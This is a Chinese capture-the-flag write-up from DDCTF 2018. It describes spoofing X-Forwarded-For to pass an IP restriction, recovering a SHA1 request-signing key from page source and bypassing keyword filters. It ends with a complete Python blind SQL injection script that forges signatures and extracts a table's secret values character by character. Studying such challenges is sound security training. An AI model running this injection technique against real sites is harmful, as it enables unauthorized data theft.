DDCTF —— 数据库的秘密

Posted by kuron3k0 on April 24, 2018

打开题目,提示特定ip才能连接

加上X-Forwarded-For

得到如下页面,很明显是查询中的注入问题

但是发现url参数中带有sig,在burpsuite中随意修改post参数会返回sig error

F12查看search按钮触发的js是submitt函数

具体相关代码如下:


function submitt(){
	obj['id']=document.getElementById('id').value;
	obj['title']=document.getElementById('title').value;
	obj['author']=document.getElementById('author').value;
	obj['date']=document.getElementById('date').value;
	var sign=signGenerate(obj,key);
	document.getElementById('queryForm').action="index.php?sig="+sign+"&time="+obj.time;
	document.getElementById('queryForm').submit()
}

function signGenerate(obj,key){
	var str0='';
	for(i in obj){
		if(i!='sign'){
			str1='';
			str1=i+'='+obj[i];
			str0+=str1
		}
	}
	return hex_math_enc(str0+key)
};

注:生成签名的key可在页面源码中找到

跟着进入hex_math_enc函数,是在static/math.js

……这让人头皮发麻的函数,有两种处理方法:

  • 用python实现再进行注入(不可能的这辈子都不可能的,依稀记得之前做过一条调试一万多行js的题目= =)
  • 在本地用js生成sig,用脚本访问本地页面先把sig拿到再进行注入,但是python的request又不会跑js代码,所以只能用PhantomJS+Selenium

但是觉得不太可能啊,怎么可能这么麻烦,再回头看看js文件,发现如下信息:

原来是sha1……论看清题目的重要性……
然后就是常规注入了,题目过滤了一些关键字,如or,换成||即可。
还有在读数据表的时候,发现好像过滤了database(……,试了在database两边加反引号、在后面加空格、加注释,都失败了,所以只能limit一个一个读……不过根据数据库的特性我们自己的表都是跟在系统表后面,所以倒着来读即可,时间上可以接受。

附脚本:

import requests
import re
import hashlib
import time

base_url = 'http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php'

header = {
    'X-Forwarded-For':'123.232.23.245'
}

def getLength(index):
    for i in range(0,1000):
        data = {
            'id':'',
            'title':'',
            'author':'admin\'||if(length((select secvalue from ctf_key1 limit {},1))>{},1,0)#'.format(index,i),
            'date':''
        }
        t = str(int(time.time()))
        s = "id={}title={}author={}date={}time={}adrefkfweodfsdpiru".format(
            data['id'],
            data['title'],
            data['author'],
            data['date'],
            t
        )
        sha1hash = hashlib.sha1(s).hexdigest()
        res = requests.post(url=base_url+"?sig={}&time={}".format(sha1hash,t),data=data,headers=header)
        if 'test<' not in res.text.decode('utf-8'):
            return i
        else:
            print i


def getContent(index,length):
    session = requests.session()
    ans = ''
    for i in range(1,length+1):
        for st in range(0,256):
            data = {
                'id':'',
                'title':'',
                'author':'admin\'||if(ascii(mid((select secvalue from ctf_key1 limit {},1),{},1))>{},1,0)#'.format(index,i,st),
                'date':''
            }
            t = str(int(time.time()))
            s = "id={}title={}author={}date={}time={}adrefkfweodfsdpiru".format(
                data['id'],
                data['title'],
                data['author'],
                data['date'],
                t
            )
            sha1hash = hashlib.sha1(s).hexdigest()
            res = session.post(url=base_url+"?sig={}&time={}".format(sha1hash,t),data=data,headers=header)
            if 'test<' not in res.text.decode('utf-8'):
                ans+=chr(int(st))
                print ans
                break

for i in range(0,30):
    LENGTH = getLength(i)
    getContent(i,LENGTH)